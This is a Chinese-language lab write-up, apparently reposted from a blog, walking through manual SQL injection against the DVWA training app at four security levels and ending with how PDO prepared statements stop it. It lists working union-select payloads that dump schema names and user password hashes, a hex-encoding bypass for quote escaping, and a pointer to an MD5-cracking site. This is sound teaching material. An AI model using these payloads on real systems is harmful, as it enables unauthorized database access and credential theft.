广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >DVWA-----SQL Injection(SQL手工注入)
  • 648
分享到

DVWA-----SQL Injection(SQL手工注入)

sql数据库服务器web安全php 2023-09-05 21:09:35 648人浏览 八月长安
摘要

目录 一、SQL注入 1.SQL注入原理  2.SQL注入分类 3.SQL注入思路 4.SQL注入绕过方法 二、SQL注入漏洞的分析         1. 定义 2. 原因 3.危害 三、Web 程序三层架构 四、SQL Injection

目录

一、SQL注入

1.SQL注入原理

 2.SQL注入分类

3.SQL注入思路

4.SQL注入绕过方法

二、SQL注入漏洞的分析

        1. 定义

2. 原因

3.危害

三、Web 程序三层架构

四、SQL Injection

1.LOW

2.Medium

 3.High

 4.Impossible


一、SQL注入

1.SQL注入原理

         通过把恶意的sql命令插入WEB表单递交给服务器,或者输入域名或页面请求的查询字符串递交到服务器,达到欺骗服务器,让服务器执行这些恶意的sql命令,从而让攻击者,可以绕过一些机制,达到直接访问数据库的一种攻击手段。

 2.SQL注入分类

(1) 数字型       

(2) 字符型 

(3) 报错注入    

(4) Boollean注入   

(5) 时间注入

3.SQL注入思路

(1).判断是否存在注入,注入是字符型还是数字型

(2).猜解SQL查询语句中的字段数

(3).确定回显位置

(4).获取当前数据库

(5).获取数据库中的表

(6).获取表中的字段名

(7).得到数据

4.SQL注入绕过方法

(1)注释符号绕过         (2)大小写绕过         (3)内联注释绕过

(4)特殊编码绕过         (5)空格过滤绕过       (6)过滤or and xor not 绕过

二、SQL注入漏洞的分析
1. 定义

        SQL注入(SQLi)是一种注入攻击,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。

2. 原因

(1)SQL 注入漏洞存在的原因,就是拼接SQL参数。也就是将用于输入的查询参数,直接拼接在SQL语句中,导致了SQL注入漏洞。

(2)web 开发人员无法保证所有的输入都已经过滤

(3)攻击者利用发送给服务器的输入参数构造可执行的 SQL 代码(可加入到 get 请求、 post 谓求、 Http 头信思、 cookie 中)

(4)数据库未做相应的安全配置

3.危害

  • 猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。
  • 绕过认证,列如绕过验证登录网站后台。
  • 注入可以借助数据库的存储过程进行提权等操作。

三、Web 程序三层架构

三层架构(3-tier architecture) 通常意义上就是将整个业务应用划分为:

    1.界面层(User Interface layer)

    2.业务逻辑层(Business Logic Layer)

    3.数据访问层(Data access layer)。

在软件体系架构设计中,分层式结构是最常见,也是最重要的一种结构,被应用于众多类型的软件开发
由数据库驱动的Web应用程序依从三层架构的思想也分为了三层:

    1.表示层。

    2.业务逻辑层(又称领域层)

    3.数据访问层(又称存储层)

拓扑结构

在上图中,用户访问实验楼服务器进行了如下过程:

    在 Web 浏览器中输入 www.shiyanlou.com 连接到实验楼服务器。

    业务逻辑层的 Web 服务器从本地存储中加载 index.PHP 脚本并解析。

    脚本连接位于数据访问层的 DBMS(数据库管理系统),并执行 Sql 语句。

    数据访问层的数据库管理系统返回 Sql 语句执行结果给 Web 服务器。

    业务逻辑层的 Web 服务器将 Web 页面封装成 html 格式发送给表示层的 Web 浏览器。

    表示层的 Web 浏览器解析 HTML 文件,将内容展示给用户。

在三层架构中,所有通信都必须要经过中间层,简单地说,三层架构是一种线性关系。

四、SQL Injection

1.LOW

代码审计

phpif( isset( $_REQUEST[ 'Submit' ] ) ) {    // Get input    $id = $_REQUEST[ 'id' ];    // Check database    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";    $result = Mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"; } mysqli_close($GLOBALS["___mysqli_ston"]);}?>

 在后台执行的sql语句

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

漏洞分析

(1)判断注入类型,是数字型注入,还是字符型注入。

字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。

我们输入1,查看回显正常 (URL中id=1,说明php页面通过get方法传递参数)。

 实际执行sql语句为

SELECT first_name, last_name FROM users WHERE user_id = '1';

我们输入1' 看回显,结果报错。

我们可以猜出是字符型注入,继续输入1' and '1' ='1和1' and '1'='2。

1'and '1'='1 正常回显

 1'and '1'='2  报错

我们根据id=1'报错和id=1'and '1'='1正确,我们可以确定是字符型注入,查看源代码也会知道是字符型注入。

(2)判断字段数     order by 

我们使用order by 进行判断字段数, 直到order by 进行报错时候就是字段数。

输入1' order by 1#  后台执行的sql语句

查询users表中user_id为1的数据并按第一字段排行

SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#`;(按照Mysql语法,#后面会被注释掉,使用这种方法屏蔽掉后面的单引号,避免语法错误)

 id=1' order by 2# 没有报错

 id=1' order by 3#时报错了,说明字段只有2列.

(3)判断回显位置   联合查询uNIOn select

        union 运算符可以将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示,即执行联合查询。需要注意在使用 union 查询的时候需要和主查询的列数相同,而我们之前已经知道了主查询列数为 2,接下来就好办了。
输入1' union select database(),user()#进行查询 :

  • database()将会返回当前网站所使用的数据库名字.
  • user()将会返回执行当前查询的用户名.

实际执行的sql语句:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#`;

1' union select database(),user()#

通过上图返回信息,我们成功获取到:

    当前网站使用数据库为 dvwa .
    当前执行查询用户名为 root@localhost .

同理我们再输入 1' union select version(),@@version_compile_os#进行查询:

    version() 获取当前数据库版本.
    @@version_compile_os 获取当前操作系统

实际执行的Sql语句:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;

1' union select version(),@@version_compile_os# 

通过上图返回信息,我们又成功获取到:

  • 当前数据库版本为 : 5.7.26
  • 当前操作系统为 : win64

判断回显位置    1' union select 1,2#

判断数据库  1' union select 1,detabase()#

(4)获取表名。
        information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名表名所在的数据库

输入1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #进行查询:
实际执行的Sql语句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from infORMation_schema.tables where table_schema= 'dvwa'#`;SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#;

 发现报错  Illegal mix of collations for operation ‘UNION’

 解决办法: 在百度上搜索到是因为编码的问题,进一步搜索发现可以通过下载PhpMyAdmin来修改编码,具体步骤如下:

打开小皮 下载phpmyadmin

 点击管理,浏览器打开,登录你的root数据库。

点击数据库dvwa,操作,排序规则将原来的编码改成 “utf8_general_ci”,勾选更改所以表规则,执行,重启小皮和dvwa。

 1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #

两个都可以

通过上图返回信息,我们再获取到:

  • dvwa 数据库有两个数据表,分别是 guestbook 和 users .

获取表中的字段名
从users表获取表中的字段名
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

实际Sql语句:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#';

 获取字段中的数据

猜测users表的字段为 user 和 passWord ,所以输入:1' union select user,password from users # 进行查询:
实际执行的 Sql 语句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;

获得数据   1' union select user,password from users# 

 可以看到成功爆出用户名、密码,密码采用 md5 进行加密,可以到www.cmd5.com进行解密。

小结一下

#判断注入类型 数字 字符(看是否有单引号闭合)id=1  id=1'1' and '1' ='1和1' and '1'='2#判断字段数         order by id=1' order by 1##判断回显  联合查询 union select1' union select database(),user()#    #数据库 用户名1' union select version(),@@version_compile_os#   #数据库版本  操作系统#获取表名1' union select table_name,table_schema from information_schema.tables where table_schema= 'database'#   1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='database'##获取表中的字段名1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'##获取表中的数据1' union select user,password from users 

2.Medium

代码审计

' . mysqli_error($GLOBALS["___mysqli_ston"]) . '
' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Display values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"; }}// This is used later on in the index.php page// Setting it here so we can close the database connection in here like in the rest of the source scripts$query = "SELECT COUNT(*) FROM users;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );$number_of_rows = mysqli_fetch_row( $result )[0];mysqli_close($GLOBALS["___mysqli_ston"]);?>
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

我们可以看到这里加入了一个下拉选项框,无法输入要查询的内容,只能选择1-5,且对单引号进行了过滤,并且使用转义预防SQL注入。

漏洞复现

我们的绕过措施是用burpsuite抓包或者用浏览器插件Hackbar

然后按照上面的sql注入流程一步步修改id来重新发包更新数据,直到获取管理员账户和密码。

 Hackbar

Submit=Submit&id=1

id=1'     发现对 ' 英文单引号进行了转义,所以Medium级别不能用' 

Submit=Submit&id=1'

#判断字段数Submit=Submit&id=1 order by 2 ##联合查询#查询数据库Submit=Submit&id=1 union select database(),user()# #获取表名Submit=Submit&id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='database'##获取表中的字段名Submit=Submit&id=1 union select 1, group_concat(column_name) from information_schema.columns where table_name='users'##查询users里面的用户名和密码Submit=Submit&id=1 union select user,password from users #

bp抓包,ctrl+r发送至Repeater。

 id=1   返回页面正常

#判断字段数id=1 order by 2##判断回显  联合查询 union select1 union select database(),user()#    #数据库 用户名1 union select version(),@@version_compile_os#   #数据库版本  操作系统#获取表名1 union select table_name,table_schema from information_schema.tables where table_schema= database()#   1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()##获取表中的字段名1 union select 1, group_concat(column_name) from information_schema.columns where table_name=0x7573657273#  users十六进制: 0x7573657273 #获取表中的数据1 union select user,password from users 

注意获取字段名的时候,会没有反应,因为源代码对单引号进行了转义,我们采用16进制绕过,得知users的十六进制为 0x7573657273

 

 3.High

代码审计

Something went wrong.
' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }?>

 我们可以看到添加了limit 1 做限制,说明扫出一个结果就不向下扫描了,只输出一个结果。

而且查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入(自动化注入),因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。

漏洞复现

和low级别sql注入相同,与Low级别不一样的是在新页面输入id的值,其值通过session方式存储在服务器端,注意注释# (%23)就可以。

 

 4.Impossible

代码审计

prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );        $data->bindParam( ':id', $id, PDO::PARAM_INT );        $data->execute();        $row = $data->fetch();        // Make sure only 1 result is returned        if( $data->rowCount() == 1 ) {            // Get values            $first = $row[ 'first_name' ];            $last  = $row[ 'last_name' ];            // Feedback for end user            echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"; } }}// Generate Anti-CSRF tokengenerateSessionToken();?>

我们可以看到代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入。

  • Check Anti-CSRF token部分:

防止CSRF攻击,Token 是在服务端产生的。如果前端使用用户名/密码向服务端请求认证,服务端认证成功,那么在服务端会返回 Token 给前端。前端可以在每次请求的时候带上 Token 证明自己的合法地位

  • Was a number entered?部分:

is_numeric() 函数用于检测变量是否为数字或数字字符串。
$data = $db->prepare预编译sql语句,能防止sql注入。

  • Make sure only 1 result is returned部分:

$data->rowCount() == 1限制了只返回一条语句。

我们试着尝试一下  输入1

判断注入类型,发现Impossible等级很难找到注入点.

1 and 1=21'and '1'='2

 查询回显位置,发现无任何结果

1' union select 1,3 #

 PDO技术:
1、在SQL语句实例化对象之后,对请求mysql的sql语句做预处理。在这里,我们使用了占位符的方式,将该sql传入prepare函数后,预处理函数就会得到本次查询语句的sql模板类,并将这个模板类返回,模板可以防止传那些有猫腻的变量改变本身查询语句的语义。
2、对sql模板绑定参数,可以使用两种方法,bindValue和bindParam,通过代码能看出区别,bindValue是传入值,bindParam是传入变量。其中两个函数中的第一个参数“数字”代表为占位符中的第几个参数。
3、execute( )执行预准备语句,fetchAll( )返回包含所有结果集行的数组
在php5.3.6之后,PDO不会在本地对sql进行拼接然后将拼接后的sql传递给mySQL Server处理(也就是不会在本地做转义处理)。PDO的处理方法是在prepare函数调用时,将预处理好的sql模板(包含占位符)通过mysql协议传递给mysql server,告诉mysql server模板的结构以及语义。当调用execute时,将两个参数传递给mysql server。由mysql server完成变量的转移处理。将sql模板和变量分两次传递,即解决了sql注入问题。

来源地址:https://blog.csdn.net/m0_65712192/article/details/127940489

--结束END--

本文标题: DVWA-----SQL Injection(SQL手工注入)

本文链接: https://www.lsjlt.com/news/396165.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • DVWA-----SQL Injection(SQL手工注入)
    目录 一、SQL注入 1.SQL注入原理  2.SQL注入分类 3.SQL注入思路 4.SQL注入绕过方法 二、SQL注入漏洞的分析         1. 定义 2. 原因 3.危害 三、Web 程序三层架构 四、SQL Injection...
    99+
    2023-09-05
    sql 数据库 服务器 web安全 php
  • SQL Injection (Blind) time 盲注入
    ...
    99+
    2017-01-27
    SQL Injection (Blind) time 盲注入
  • 实战感受SQL注入(手工注入)
    前言 在上篇文章中我们介绍了SQL注入漏洞,并且用简单的php代码,介绍了SQL注入漏洞可能出现的情况和原理。这篇文章就让我们通过实战来感受一下SQL注入。 实战感受SQL注入 墨者学院手工SQL注入...
    99+
    2023-08-31
    sql 数据库 php
  • sql注入之手工注入的示例分析
    这篇文章将为大家详细讲解有关sql注入之手工注入的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。为了方便说明,我们还是用之前的数字型的注入点为例来进行说明。得到字...
    99+
    2022-10-18
  • 手工MSSQL注入常用SQL语句
    个人收集整理and exists (select * from sysobjects) //判断是否是MSSQLand exists(select * from tableName) /...
    99+
    2022-10-18
  • DVWA平台搭建+SQL注入实验详解
    实现1: 实现DVWA平台的搭建,为后续的SQL注入提供练习环境; 实现2: 进行SQL注入的练习,目的是了解因web应用程序对用户输入数据的合法性没有判断或过滤不严,而造成的危害,以便后续更好...
    99+
    2023-09-26
    sql 数据库 php
  • sql手工注入的方法是什么
    这篇文章主要介绍“sql手工注入的方法是什么”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“sql手工注入的方法是什么”文章能帮助大家解决问题。判断注入点1.单引号法...
    99+
    2022-10-19
  • SQL注入
                     &...
    99+
    2022-10-18
  • sql注入工具怎么使用
    首先需要说明的是,SQL注入是一种非法的攻击手段,使用SQL注入工具进行攻击是违法的行为,不应该进行。下面仅仅是为了提供知识参考,不...
    99+
    2023-05-15
    sql注入工具 sql
  • 梨子带你刷burp练兵场(burp Academy) - 服务端篇 - Sql注入 - Blind SQL injection with conditional errors
    目录Blind SQL injection with conditional errors Blind SQL injection with conditional errors 先猜一下密码长度 因为只有语句执行成功了才会报错,所以...
    99+
    2017-06-26
    梨子带你刷burp练兵场(burp Academy) - 服务端篇 - Sql注入 - Blind SQL injection with conditional errors 数据库入门 数据库
  • sql注入 --显错注入
    前提知识 数据库:就是将大量数据把保存起来,通过计算机加工而成的可以高效访问数据库的数据集合数据库结构:库:就是一堆表组成的数据集合表:类似 Excel,由行和列组成的二维表字段:表中的列称为字段记录:表中的行称为记录单元格:行和列相交的地...
    99+
    2021-01-16
    sql注入 --显错注入 数据库入门 数据库基础教程 数据库 mysql
  • pikachu---SQL注入
    1、产生原因 SQL注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄漏的一种漏洞。 2、攻击流程 3、注入点类型 ...
    99+
    2014-12-28
    pikachu---SQL注入 数据库入门 数据库基础教程
  • php sql注入
    文章目录 一、什么是sql注入二、sql注入处理1、使用内置函数2、使用pdo预处理语句 三、安全注意事项 一、什么是sql注入 在应用程序中,为了和用户交互,允许用户提交输入数...
    99+
    2023-08-30
    sql php mysql php sql 注入 sql 注入
  • Mybatis-plus sql注入及防止sql注入详解
    目录一、SQL注入是什么?二、mybatis是如何做到防止sql注入的1. #{} 和 ${} 两者的区别2.PreparedStatement和Statement的区别3.什么是预...
    99+
    2022-11-13
    mybatis-plus sql注入 mybatis-plus防止sql注入
  • BUU SQL COURSE 1 1(SQL注入)
    题目链接 https://buuoj.cn/challenges 思路 我们先看登录界面,然后试一下各种万能密码,发现并没有用 然后我们点开热点中的热点一,我们发现这里有一个php的请求,于是我们猜...
    99+
    2023-09-11
    sql php web渗透 CTF 数据库
  • 简单聊一聊SQL注入及防止SQL注入
    目录SQL注入附防止sql注入的一些建议总结SQL注入 SQL注入是通过操作输入来修改事先定义好的SQL语句,对用户输入的字符串进行过滤,转义,限制或处理不严谨,导致用户可以通过输入...
    99+
    2022-11-13
  • sql注入之堆叠注入
    一、堆叠注入的原理 mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔 开,而堆叠注入其实就是通过结束符来执行多条sql语句 比如我们在mysql的命令行...
    99+
    2023-09-09
    sql mysql php 信息安全 网络安全
  • 哪些工具可以防止sql注入
    可以防止sql注入的工具有:SQLIer,它可以找到网站上一个有SQL注入漏洞的URL,并根据有关信息来生成利用SQL注入漏洞,但它不要求用户的交互。SQLMap是一个自动的“盲目”SQL注入工具。SQLID是一个SQL注入漏洞挖掘器,也是...
    99+
    2022-10-18
  • 防止SQL注入
    SQL注入是指攻击者通过在输入的数据中注入恶意的SQL代码,以获取非法访问、窃取敏感信息等操作。以下是一些防止SQL注入的方法: 使用参数化查询:使用参数化查询可以防止SQL注入攻击,参数化查询是指在执行查询时,将参数与查询语句分离,使得...
    99+
    2023-09-10
    sql 数据库 java mysql
  • SQL注入详解
    本文首发于:行者AI 现在大多数系统都使用B/S架构,出于安全考虑需要过滤从页面传递过来的字符。通常,用户可以通过以下接口调用数据库的内容:URL地址栏、登陆界面、留言板、搜索框等。这往往会出现...
    99+
    2023-09-05
    sql 数据库 php
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作